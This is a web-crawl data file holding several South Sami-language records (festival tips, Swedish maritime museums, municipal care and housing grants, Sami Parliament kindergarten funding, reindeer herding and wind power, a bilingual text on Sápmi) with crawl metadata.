nåajsan sjïdtedh.\n5. Gapta! Jis edtjh saemien festivaalese, dellie eevre daerpies giesiegaptine. Maahtah giesiegaptam \"pimpadidh\" steeblegigujmie, vaarremegaamegigujmie jallh betniegaamegigujmie.\n6. Eensi gaamegh. Måjhtelh datne edtjh festivaalese Noerhte-Nöörjesne. Jis steeblegh, vaarremegaamegh jallh betniegaamegh meatan åtnah dellie leah ryöjredamme dan noerhtenöörjen geasan.\n7. Tråajjah. Maahtah ebrietråajjam, skåerrietråajjam jïh aegkietråajjam nuhtjedh gaajhki vaarjoejgujmie mejtie meatan åtnah, dovne giesiegaptine ektine.\n8. Stoerre låavthgåetie jallh teelte. Jalhts teelte jallh låavthgåetie stoerre vååjnoe bovresne, tjoerh mujhtedh dov leah jïjnjh dalhketjh meatan. Veeljh buerebh aktem låavthgåetiem jallh teeltem mij lea ånnetji stuerebe goh vïenhth daarpesjh.\n9. Dovres aath gåetesne laahpah. Jis ih sïjhth sæljoem dassedh maam aahkeste eerpih jallh dejtie dovres gaamegidie eerjedh mejtie (nïejte) mïelehke öösti, aellieh dejtie meatan vaeltieh! Festivaalesne ij guhte pryöjjedh mejtie datne gaamegh åasteme Europris-bovresne jallh tråajjam Coopesne.\n10. Beapmoe jïh jovkemes, ij ajve alkohovle. Jis edtjh energijem utnedh speatjadidh biejjeste beajjan, tjoerh måjhtelidh datne tjoerh maam byöpmedidh jïh jovkedh. Ih voeredh jis ajve tjaetsieboehtelem jovkh. Bielelen beapmoe jïh jovkemes, ij heelte gaagnehth.\n11. Biejjieprælloeh. Dellie tjelmieh biejjien vööste vaarjelh, jïh maahtah sæjloes festivaaletjelmieh tjïekedh. Ohtsedh dov lustemes biejjieprælloeh.\n12. Voestesviehkieaeskie. Dievhtieh dam Aloe Vera-bådtjine, njimkedahkine skööpemesaejrien vööste, njimkedahkine, OB:ine, paracettine jïh allergijepillerh. Allergijepillerh maehtieh dåvvodh jis fer jïjnjem jovkeme!\n13. Campingstovle. Festivaalealmetjh sæjloeh dah aaj, jïh dellie maahta njaelkie årrodh ånnetji tjahkasjidh. Feeste ij orrejh jalhts juelkide lïegkedh, maahta gujht dovne tjahkan jïh tjåadtjan joejkedh.\n14. Årroeh meatan jïjtje! Edtja damtedh gosse festivaalesne orreme. Joejkh jïh laavloeh dam buaratjommesem maam buektehth, jïh mubpieh tuhtjieh luste joejkem govledh festivaalejerkesne. Gïele bååstede båata åvtelen skuvlem jallh barkoem vihth aalkah.\n15. Fulkh meatan festivaalesne jïjtje, ij tellefovnen tjïrrh. Dov Snap-voelph eah dagke tuhtjh seamma luste festivaale-snaph gellie tæjmoeh vuejnedh. Rijth tellefovnem låamman sïjse, jïh fulkh meatan konsertesne jïjtje.\nLissine juvnehtibie vietseleslaakan mubpiej vööste dåemiedidh, luste utnedh jïh orre almetjigujmie åahpenidh! Jååhkesjh jis dïhte mubpie \"ijje\" jeahta, jïh ij sïjhth meatan årrodh. Festivaalejerkie vaeptieh åtna mah maehtieh viehkine årrodh jis mij akt sjugniehtåvva.\nMinngemosth vaajtelibie gaajhkh lohkijh aktem tjaebpies jïh lustes festivaalegiesiem åadtjoeh! Gorredidie sinsitniem.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/samimag.no\/sme\/oddasat-sme\/festivaaleraerieh\/","date":"2020-06-04T07:43:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347439213.69\/warc\/CC-MAIN-20200604063532-20200604093532-00399.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":420,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Staaten maritijme jïh foeresjimmiehistovrijen museumh\nStaaten maritijme jïh foeresjimmiehistovrijen museumh (SMTM) lea staaten åejvieladtje mij barka dan maritijme jïh foeresjimmiehistovrijen kultuvreaerpien maahtoem gorredidh, evtiedidh jïh tseegkedh.\nMijjen darjome edtja almetji vearteneguvviem vijriedidh maahtoen tjïrrh mah jorkesieh, mojhtesh mejtie ij åajaldehtieh jïh skreejreminie. Darjome edtja aaj vihkeles årrodh gaajhkide almetjidie siebriedahkesne.\nMijjieh Marinmuseumh ientebe jïh evtiedibie Karlskronesne, Vasamuseumem jïh Sjöhistoriska museumem Stuehkesne jïh aaj Järnvägsmuseumem Gävlesne.\nEktesne fïerhten jaepien lïhkebe göökte millijovnh almetjh båetieh Sveerjeste jïh veartanistie guessine mijjen museumi luvnie.\nMarinmuseume\nMarinmuseume soptseste sveerjen marijnen histovrijen bïjre – stoerrefaamoeaejkien mearoegæmpoej bïjre sigli nuelesne, galme dåaroen boelhken bïjre jïh daaletjen bïjre. Jaepien 2014 raejeste uvïnhtse Neptun aaj meatan museeumisnie.\nSjöhistoriska museume\nMearoehistovrijen museume soptseste almetjen gellietåvsene jaepiej guhkies histovrijem mearosne, sjïere tjöönghkemi tjïrrh. Daesnie dovletje jïh daaletje gaavnedieh vuesiehtimmine mah vuesiehtieh åesiestimmiemearoefoeresjimmie, eejehtimmievïnhtsekultuvre jïh skïhpehistovrije.\nVasamuseeumisnie\nVasamuseeumisnie mijjen guessieh gaavnedieh dam sjïere gorredamme örlogskïhpem Vasa jaepeste 1628. Daesnie maehtieh goerehtidh histovrijidie almetji bïjre skïhpesne, Vasan aejkien bïjre, guktie skïhpem viht gaavnin jïh gorredin 333 jaepiej minngesne Stuehkien straejmien betnesne jïh daaletjen dotkemem guktie Vasam gorredidh.\nRuevtieraajroemuseume\nRuevtieraajroemuseume sjïere våarhkosne jeenjebe 300 foeresjimmieh gaskoeh 1800-låhkoen raejeste daan beajjan. Våarhkosne aaj ruevtieraajroehistovrijen tjåenieh jïh stoerre guvvievåarhkoe 500 000 guvviejgujmie.\nRuevtieraajroemuseume lea daelie gaptjeme juktie dam bueriedidh. Daennie mieresne vuelkemh öörnieh histovrijen tåågine abpe laantesne jïh Tåghallen sisnie bööremes våarhkoste vuesiehtieh gellie aejkien.\nOrre museume: Vrak – Museum of Wrecks\nLuvliemearoen sjïere, men ovnohkens kultuvreaerpie vååjnesasse orre museumeareenese maam soejkesjibie jaepien 2020 rïhpestidh. Daaletjen teknihkine jïh laavenjostosne mubpine laantine Luvliemearoen bïjre sïjhtebe vuesiehtidh jïh perspektijvem vadta maritijme histovrijasse jïh almetjen relasjovnem sov byjresasse tovsenejaepiej mietie.\nFoeresjimmiehistovrijen våarhkoeh\nJaepien 2018 raejeste mijjen darjoemisnie aaj foeresjimmiehistovrijen kultuvreaerpie. Mijjen geajnoehistovrijen våarhkoeh leah Kjula:sen jïh desnie tjuetieluhkien masjijnh jïh foeresjimmieh 1900-låhkoste, aaj tåvsenelåhkoej aath ovmessie stoeredahkine jïh hammoedimmine. Mijjen våarhkoe sivijlen elmiefoeresjimmie lea hangarisnie Arlanda girtiesjaljesne jïh desnie bielie girtijste jïh girtieh, båarasommes aareh 1900-låhkoen raejeste.\nDotkeme\nMaahtoe maritijmen jïh foeresjimmiehistovrijen kultuvreaerpien bïjre lea våarome mijjen darjoemasse. Dotkeme lea dan gaavhtan iemie jïh integreradamme bielie mijjen darjoemisnie. Dotkeme lea gaskem jeatjah Vasan bïjre jïh dan tïjje, marijnearkelogije jïh ruevtieraajroen histovrije.\nStockholms universitet \/ Stuehkien universiteeten ektesne lea SMTM skaepiedamme Centrum för maritima studier (CEMAS) \/ Jarnge maritijme lohkemh, dotkemejarnge gusnie maritijme histovrije, etnologije jïh arkeologije vihkeles.\nEktiebarkoe\nSMTM regijovnaale jïh voenges museumh, ideellen siebriedahkh, organisasjovnh jïh aktegs almetjh ektesne barka.\nEktiebarkosne mijjen vïenesiebriedahkine jïh mubpieh bielieh sivïjlesiebriedahkesne mijjieh ideellen museumebarkoem dåarjobe jïh meatan årrobe ovmessie foruminie gaskem jeatjah marijnen kultuvreaerpien, veteraanevïnhtsi jïh noerhtelaanten ruevtieraajroehistovrijen bïjre.\nSMTM aaj dorje kultuvrehistovrijen vuarjasjimmieh jïh dåarjoeh juaka vïnhtside jïh eejehtimmievïnhtside.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.smtm.se\/se-se","date":"2020-06-06T09:40:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348513230.90\/warc\/CC-MAIN-20200606093706-20200606123706-00564.warc.gz","language":"sma","language_score":0.9999831915,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"sma_Latn_score\": 0.9999831914901733}","num_words":406,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ovmessie jïjnje jih ovmessie aejkieh jielemisnie mijjieh almetjh dåarjegem, viehkiem jih hoksem ovmessie aatide daarpesjibie. Voeres- jih ov-vervienhoksem jih sosialedïenesjem lea dellie dutnjien.\nDïhte lea sosialedåarjoem, viehkiem psykijen ovhealsojne jallh gosse jearohke geeruvevierhtijste, dåarjege dejtie mah ålkoerijhkeste diekie båateme, nuepieh ov-vervide jih jienebe. Datne aaj raeriem åadtjoeh jielemen ovmessie deahpadimmide, vuesiehtimmien gaavhtan: provre, fuelhkiejieleme, voeresårromesijje jih juvleme.\nGuktie aktem lissiem sosialedïenesjelaakesne gelkieh gaajhkide barkijidie voereshoksesne barkedh ihke Datne åadtjoeh akten vyörtegs jielemem jieledh jih buerielaakan damtedh. Datne daajrah mij dïhte dutnjien. Dan gaavhtan lea vihkeles ahte gaajhkide barkijidie Datne voereshoksesne gaskesadth datnem dov mïeli jih dov vaajtelimmiej bïjre gïhtjieh.\nDarjoemoenehtsem lea nännoestamme ihke byjrehks vyörtegsvoetetjirkemh såjtoe- jih hoksesne daajroehtidh. Ahte byjrehks vyörtegsvoetetjirkemh daajroehtidh jïjtjesyjhtehts lea. Vyörtegsvoetetjirkemidie gelkieh abpe voereshoksese arrijh, gåabegh tjïelten jïjtse darjose jih jeatjah barkijidie. Tjirkemi maadtoe lea dïhte nasjonellen vyörtegsmaadtoem. Akten barkoedåehkiem ovmessie barkojste mij såjhtoe-jih hoksesne lea, aareh 2012 jaepeste barkeme ihke tjirkemidie hammoedidh mah Bïerjen tjïelte lea daajroehtamme. Barkoedåehkiem lea beavneme jih raeriestimmieh jih mïelh gåatan veedtjeme, aajne-almetjijstie, lïhkesadtjijste, barkijijstie jih almetjijstie. Barkoem lea dorjeme ahte daejtie vyörtegsvoetetjirkemidie leah dååhkasjehteme:\nVyörtegsvoetetjirkemidie aelkieh raajeste 2013-01-01 arrijh.\nTjeakome lea gaajhkide barkijidie, praktikanth jih learohkh darjosne. Tjeakome lea ahte nihteme lea, ihke bïevnesh jiehtedh, njaalmeldh jallh ahte sïejhme paehperh olkese laehpien jallh jeatjah vuekesne bïevnesh laehpien.\nMijjese lea buerie jis dov ussjedimmieh, åssjaldahkh jallh laejhtemh åadtjobe daejredh, dïhte mijjese nuepiem vaadta mijjen darjoem bueriedidh. Jis datne mïelh gïetedallijasse åtnah jih barkojde goh SoL, HSL, LVM, LVU och LSS Bïerjen tjïeltesne, datne maahtah sjïere goerem laejhtemasse\/girmemasse\/mïelide nuhtjedh, dunnie goerearkivesne dunnie åelkiesbielesne.\nSoL (Socialtjänstlagen (2001:453)\nHSL (Hälso och sjukvårdslagen(1982:763)\nLVM (Lag (1988:870) om vård av missbrukare i vissa fall)\nLVU (Lag (1990:52) med särskilda bestämmelser om vård av unga)\nLSS (Lag (1993:387) om stöd och service till vissa funktionshindrade.\nUppdaterad: 2019-09-26 13.40","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun\/hokseviehkiejihsajhtoeomsorghjalpochvard.4.2a948e2414c4aa4dd9a20735.html","date":"2020-05-26T23:21:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347391923.3\/warc\/CC-MAIN-20200526222359-20200527012359-00565.warc.gz","language":"sma","language_score":0.9999678135,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999678134918213}","num_words":284,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie ohtsemh åadtjoeji jaepien 2019 vielie goh njieljie millijovnh kråvnaj åvteste dåarjoeöörnegese Dåarjoe prosjektide jïh evtiedimmiebarkose maanagïertine. Ulmie daejnie dåarjoeöörneginie lea jolle kvaliteete saemien gïelesne jïh kultuvrebarkosne maanagïertine. 2019 saemiedigkieraerie prioriteradi gïelebiesieprosjekth, voenges evtiedimmieprosjekth, tseegkeme orre saemien maanagïertefaalenassijste jïh råajvarimmieh mah gïelebarkoem prosjekti tjïrrh goh «gïeletjiehpije».\n– NBS 2016:18 Vaajmoegïele jeahta saemien maanagïerth leah dïhte vihkielommes aktegsråajvarimmie juktie gorredidh, vaarjelidh jïh jieliehtidh saemien gïelh. Maanah mah eah saemien maehtieh, men edtjieh dam lïeredh, jïh maanah mah saemien maehtieh, edtjieh gïelefaalenassem maanagïertesne åadtjodh mij lea dej gïelenjeaptjan sjïehtedamme, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nDejstie prosjektijste mah dåarjoem åådtjeme leah Læringsverkstedet maanagïerte Ekornrud Jessheimesne, mij 150 000 kråvnah dåarjojne åådtje gïelebiesieprosjektese, gusnie ulmie lea dåarjodh, vaarjelidh jïh evtiedidh saemien gïelh viehkine ietniengïelelohkehtæjjeste. Dah sijhtieh saemien gïelelïerehtimmine jïh bievnieminie saemien kultuvreste jïh aerpievuekeste öörnegen mietie barkedh abpe maanagïertejaepiem, guktie akte bielie maanagïerten barkoste sjædta båetijen aejkien.\nAkte jeatjah prosjekte mij dåarjoem åådtje lea Heggelia\/Noraførr maanagïerte Målselvesne. Dah 122.500 kråvnah dåarjojne åådtje akten evtiedimmieprosjektese mij edtja saemien gïelem jïh kultuvrem vaarjelidh jïh evtiedidh dejtie saemien maanide maanagïertesne jïh daan daajroen bïjre bievnedh jeatjah maanide jïh barkijidie maanagïertesne.\n– Saemiedigkie sæjhta sov maanagïertepolitihkine sjïehteladtedh ihke maanagïerth vuekine åtnose vaeltieh nænnoes gïelemaallh mah leah sjïehtedamme fïereguhten maanagïerten voenges daerpiesvoetese jïh gïelenjeaptjan.\nSaemien maanagïerte 300 000 kråvnah dåarjojne åådtje gïeleskreejremeprosjektese gïellačeahppi (gïeletjiehpije) gusnie ulmie lea maanide aktem hijven saemien gïeleevtiedimmiem maanagïertesne gorredidh.\n– Prosjekth goh gïeletjiehpijh lea naakede maam prioriteerede dan åvteste sïjhtebe hoksedh saemien gïelh leah stïeresne maanagïertesne vielie goh dej luvnie mah desnie biejjieladtje berkieh. Destie maanagïerth mieriem åadtjoeh gïelebarkojne gïehtelidh jïh vyörtegs vierhtine sjædta maanagïertide, Mikkelsen jeahta.\nDaan jaepien joekedimmine saemiedigkieraerie aaj prioriteradi orre maanagïertefaalenassem tseegkedh. Altan tjïelte 300 000 kråvnah dåarjojne åådtje juktie orre saemien maanagïertem tseegkedh, Guovddáš mánáidgárdi. Dah sijhtieh saemien maanagïertefaalenassem tjïeltesne nænnoestidh jïh tjïelke saemien maanagïertem tseegkedh tjïelten tjïrrh.\n– Daate råajvarimmie ellies noerhtesaemien maanagïertefaalenassem vadta, mij lea joekoen positijve jïh vihkeles saemien siebriedahkese jïh vaarjelimmien jïh evtiedimmien gaavhtan saemien gïelijste, Mikkelsen jeahta.\nJis gihtjehtimmiem sïjhth gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, 917 42 161, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Daaarjoe-prosjektide-jih-evtiedimmiebarkose-maanagiertesne","date":"2020-06-03T19:08:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347435987.85\/warc\/CC-MAIN-20200603175139-20200603205139-00381.warc.gz","language":"sma","language_score":0.9999870062,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999987006187439}","num_words":318,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Gellieh jaepieh libie aktem sjïdtije deadtovem dååjreme båatsoen dajvide, jïh dagke joekoen gosse lea bïegkefaamoetseegkeldahki bïjre. Saemiedigkie daejtie aamhtesidie bæjjese fulkie abpe soejkesje- jïh konsesjovneprosessen tjïrrh, dovne govlehtimmine, vååksjedimmine jïh konsultasjovnine. Saemiedigkie aaj faamoem åtna gïrredh, naakede mij daamtaj dorjesåvva darjoeminie eatnamisnie. Mijjieh aaj reaktaaajhterigujmie rååresjibie, dovne juktie bïhkedimmiem vedtedh jïh konsultasjovnh iktedidh, saemiedigkieraerie Silje Muotka jeahta.\nDan sjïdtije deadtoven jïh dej sjïdtije aamhtesi gaavhtan dovne åarjene jïh noerhtene Saemiedigkie båatsoesaemieh dåarjohte gaskem jeatjah vierhtiejgujmie reakta-aamhtesidie.\n–Saemieh mah gæmhpoeminie juktie mijjen ektie kultuvrem beerkedh ovmessie aamhtesinie, aktem stoerre leavloem gaajhkesi mijjen åvteste vaeltieh. Dah edtjieh slyöhpedh oktegh tjåadtjodh, jïh dan åvteste Saemiedigkie tjarke meatan råajvarimmie-aajhteren salkehtimmine jïh åejvieladtji aamhtesegïetedimmesne. Lissine dåarjoem vedtebe Protect Sápmise mij saemien reakta-aajhterh dåarjohte. Jis reakta-aamhtesh sjædta dejstie aamhtesijstie mijjieh aktem dåarjoeöörnegem utnebe mestie reakta-aajhterh maehtieh syökedh, Muotka jeahta.\nDïhte båatsoefuelhkesne byjjenamme, lohkehtæjjine åarjelsaemien gïelesne barka jïh gegkeste satne maahta fuelhkien krievvine jåerhkedh akten biejjien. Maja Krihke Jåma hov tjïelkelaakan daajra maam sæjhta, men vïerremesistie bælla.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/sjidtije-deadtove-baatsoen-dajvide\/","date":"2020-06-07T08:52:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348526471.98\/warc\/CC-MAIN-20200607075929-20200607105929-00197.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":160,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gåetiesjiehtesjimmie\nBostadsanpassning\nMisse dåarjoem vadta?\nUpmejen tjïelte dåarjoem vadta tjilkeme åesiem gåetiej sjiehtesjimmidie. Dåarjoe edtja nuhtjedh dejtie darjomidie mestie svihtjeme-heaptoje almetjasse nuepiem vadta gåetesne orre. Maahta dåarjoem gaajhkh såarhts svihtjeme-heaptomidie jïh ij baalhkan mietie pryövh. Åålegh tjuara riekte sievem darjomistie jïh svihtjeme-heaptomasse. Ij åadtjoeh dåarjoem boelhketjen svihtjeme-heaptomasse mestie krievie gåetiem sjiehtesje.\nGie maahta dåarjoem åådtje?\nDåarjoe oktegh persovnese vadta. Gåetieluhpie- jallh årromereaktagåetide sjiehtede dellie gåetiesijjen aajhtere tjuara dam siemedidh.\nOhtseme\nTjïelten lea ohtsemesoejkesh jïh ohtsemem dååste. Dajvebarkoeterapeute dov såjhtoecentralesne ohtsemem viehkehte gosse vihtesjimmiem ohtsede. Tjïelten gïetedallije bïevnesh vadta mah ohtsemem gelkieh dåeriedidh.\nNænnoestimmie jïh maakseme\nBïgkememoenehtse dåarjoem nænnoste. Jis dam åadtjoeh dellie beetnegh åadtjoeh gosse barkoem galhkeme.\nJeenjebh bïevnesh\nJis jeenjebh bïevnesh daarpesjh, dajvebarkoeterapeutem dov såjhtoecentralesne bieljeldh jallh tjïelten gïetedallijem siebredahkebïgkemekontovresne, telefovne 090-16 23 06, jallh e-påastem email@example.com seedth.\nSidan har granskats 2019-01-03","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.umea.se\/umeakommun\/fristaendesidor\/sprak\/languages\/samegielat\/sosiaalenhoksehtimmieh\/gaetiesjiehtesjimmie.4.2aeb902411d30c9e460800061552.html","date":"2020-06-03T10:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347432521.57\/warc\/CC-MAIN-20200603081823-20200603111823-00245.warc.gz","language":"sma","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999973773956299}","num_words":129,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"språk\nTone Marie Larsen & Anita Dunfjeld AagårdÖversatt till finska av Katja Rantala\nInläst på sydsamiska av Jonna Dunfjeld Mølnvik\nInläst på finska av Veronica Zinovjev Härkävehmaan Koulu\nSaepmie dajve gusnie saemieh aerpievuekien mietie orreme Nöörjesne, Sveerjesne, Såemesne jïh Russlaantesne.\nSaepmie (Saamenmaa) on alue Norjassa, Ruotsissa, Suomessa ja Venäjällä, jossa saamelaiset ovat perinteisesti asuneet.\nSaemieh aalkoealmetjh juktie saemieh lin daennie dajvesne goh gånkah jïh staati åejvieh laanti rastah nænnoestin. Nöörjen Maadth-laake jeahta staate Nöörje göökte almetje-tjïerti laantine dorjesovveme.\nSaamelaiset ovat alkuperäiskansa, koska he asuivat alueella silloin kun kuninkaat ja maiden johtajat piirsivät Pohjoismaiden rajat. Norjan perustuslaissa sanotaan, että Norjan valtio on perustettu kahden kansan, norjalaisten ja saamelaisten, maalle.\nIj daejrieh man gellie saemieh veartanisnie, men veanhta medtie 50-80 000 saemieh. Dejstie medtie 2000 Russlantesne, 7000 Såevmesne, 17 000 Sveerjesne jïh 40 000 Nöörjesne.\nEi tiedetä, paljonko saamelaisia maailmassa on, mutta arvioidaan että heitä on 50 – 80000. Heistä noin 2000 asuu Venäjällä, 7000 Suomessa, 17 000 Ruotsissa ja 40 000 Norjassa.\nGååvnesieh 9 ovmessie saemien gïelh. Dej gïeli gaskem jïjnjh joekehtsh guktie barre dah lihkemes sinsitnien gïelide guarkah. Joekehtsh åarjelsaemien jïh noerhsaemien gïeli gaskem ånnetji goh daaroen jïh islaanten gïeli gaskem.\nOn olemassa yhdeksän eri saamen kieltä. Kielten välillä on niin paljon eroja, että vain lähimmät ymmärtävät toisiaan. Erot eteläsaamen ja pohjoissaamen välillä ovat kuin erot norjan ja islannin välillä.\nSaemien vaarjoeh, gapta\/gåptoe, vuesehtieh gubpede båetieh jallh gubpede fuelhkie båata. Saemieh gaptam nuhtjieh dovne gosse maam joem heevehtieh, gosse gïe joe juvlelge, tjåanghkojne jïh gosse sijhtieh vuesiehtidh gïeh leah.\nSaamelaisten vaatteet, saamenpuvut, osoittavat mistä perheet ovat kotoisin. Saamenpukuja käytetään sekä juhlissa että hautajaisissa, kuten myös kokouksissa ja silloin, kun halutaan näyttää kuka on.\nSaemien saevege tjåenghkies gaajhkide saemide. Dah njieljie klaerieh vuesiehtieh saemieh 4 laantine årroeh. Rööpses klaerie edtja dållem vuesiehtidh, kruana eatnemem, viskes biejjiem jïh plaave tjaetsiem. Gievlie edtja biejjiem jïh askem vuesiehtidh.\nSaamen lippu on kaikkien saamelaisten yhteinen lippu. Lipun neljä väriä kuvaavat saamelaisten neljää asuinmaata. Punainen väri symbolisoi tulta, vihreä väri luontoa, keltainen aurinkoa ja sininen väri vettä.\nYmpyrä symbolisoi aurinkoa ja kuuta.\nSaemiej åålmegebiejjie goevten 6.biejjien. Dam biejjiem veeljeme juktie goevten 6. biejjien jaepien 1917 voestes aejkien saemieh abpe Nöörjeste jïh aaj Sveerjeste Tråantesne tjåanghkenin saemiej reaktaj bïjre digkiedidh.\nSaamelaisten kansallispäivä on 6. helmikuuta. Tämä päivä valittiin, koska 6. helmikuuta 1917 saamelaisia koko Norjasta ja muutamia Ruotsista kerääntyivät ensimmäistä kertaa kokoukseen Trondheimiin, keskustellakseen saamelaisten oikeuksista.\n1900 jaepiej åvtelistie idtjin saemieh seamma reaktah utnieh goh daelie. Nöörjesne voejhkelin saemieh daarojne darjodh juktie ussjedin meehti barre akte gïele, akte almetjetjïerte jïh akte kultuvre Nöörjesne årrodh, dïhte daaroen gïele jïh kultuvre.\n1900-luvun alussa saamelaisilla ei ollut samoja oikeuksia kuin heillä nykyään on. Norjassa viranomaiset yrittivät tehdä saamelaisista norjalaisia, koska heidän mukaan Norjassa ei voinut olla enempää kuin yksi kieli, yksi kansa ja yksi kulttuuri.\nDaelie gellie saemien maanah åadtjoeh saemien skuvlesne lïeredh jïh radiosne maahta saemien musihkem goltelidh. Guvvesne Gånka Harald jïh krovnprinse Håkon Magnus Saemiedigkiem Nöörjesne rihpestieh.\nNykyään monet saamelaiset lapset voivat opiskella saamea koulussa ja radiosta voi kuulla saamelaista musiikkia. Kuvassa kuningas Harald ja kruununprinssi Håkon Magnus avaavat Norjan Saamelaiskäräjät.\nSaemiedigkieh gååvnesieh dovne Nöörjesne, Sveerjesne, Såevmesne jïh Russlantesne. Saemiedigkieh berkieh juktie saemieh edtjieh åadtjodh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahke-jieledem gorredidh jïh evtiedidh.\nSekä Norjassa, Ruotsissa, Suomessa että Venäjällä toimii Saamelaiskäräjät. Saamelaiskäräjien tehtävänä on hoitaa saamelaisten omaa kieltä ja kulttuuria sekä heidän yhteiskunnallisia asioita.\nMåjhtah gusnie Saepmie lea?\nMuistatko missä Saamenmaa on?\nFoto\/ Myndir\/ Asseq\/ Valokuva\/ Guvvieh\/ Nuotraukos\/ Photo:\nS1: Yevgeny Pashnin - commons.wikimedia.org + Anita Dunfjeld Aagård\nS1+24: Annamari Molnar - flickr.com\nS4: Bff - commons.wikimedia.org\nS6: Julia Velkova - commons.wikimedia.org\nS8: Karin Beate Nøsterud - commons.wikimedia.org\nS10: Ningyou - commons.wikimedia.org\nS12+20: Sámediggi Sametinget - flickr.com\nS14: Jeltz - commons.wikimedia.org\nS16: Schrøderarkivet\/Sverresborg - commons.wikimedia.org\nS18: Nasjonalbiblioteket - commons.wikimedia.org\nS22: Illustratedjc - commons.wikimedia.org","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/d113.web.wwi.dk\/sv\/node\/744?sourcelang=ssme&comparelang=fi&page=13","date":"2020-06-01T20:40:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347419593.76\/warc\/CC-MAIN-20200601180335-20200601210335-00525.warc.gz","language":"sma","language_score":0.8176875114,"language_script":"Latn","minhash_cluster_size":52,"top_langs":"{\"sma_Latn_score\": 0.8176875114440918, \"sme_Latn_score\": 0.08866327255964279, \"fin_Latn_score\": 0.07884196192026138}","num_words":579,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.846,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh teeksth Ruffien 1. biejjien minngemes biejjie maahtah ohtsedidh saemien tsïegline sjïdtedh Lohkh vielie » Ruffien 2. biejjien raejeste ellies skuvleklaassh åadtjoeh ektine skuvlesne årrodh Lohkh vielie » Ove Lorentz lea vaestiedassem Lievangken sijjienommen govlehtæmman tjaaleme Lohkh vielie » Daan biejjien: Guvvieh Plassjeste Lohkh vielie » Suehpeden 17. biejjien: Guvvieh Prahkeste Lohkh vielie » Daesnie dah orre Gïeleviehkieh Lohkh vielie » Magkeres nomme datne sïjhth «Levanger kommune» edtja utnedh? Tjïelte lea ræhpas govlehtimmieprieviem tjaaleme Lohkh vielie » Tjaelebe! Tjaelemegaahtjeme maanide jïh noeride! Lohkh vielie » Jørn Jensen Lærhandel lea mijjen voestes annonsöövre Saernieh nehtesæjrosne Lohkh vielie » PRM: Pilovtemaanagïerth veeljesovveme saemien maanagïerteprosjektese Lohkh vielie » Mihá-prosjeekten bïjre Lohkh vielie » Gïelem Nastedh orre Gïeleviehkie ohtsede Lohkh vielie » Daelie Saemien tsïeglh nedtesne vuelkieh! Lohkh vielie » Eolus Wind lea 75 bïegkefaamoeh Jillen-Njaarkesne tseegkeminie – Nååts båatsoe? Lohkh vielie » Bïevnesh maanagïerte-eejhtegidie Lohkh vielie » Tv-programmh åarjelsaemiej bïjre mejtie sïjhth vihth vuartasjidh Lohkh vielie » Ij naanh njaalmeldh eksaamenh sjïdth Lohkh vielie » Reerenasse sæjhta siebriedahkem ånnetji ånnetji jïh gïehtjedimmien nuelesne rïhpestidh Lohkh vielie » Saemiedigkie dåarjoem Beaivvášen heevehtimmiegærjese jïh konsertese Marja Mortensson jïh KORK:ine vadta Lohkh vielie » 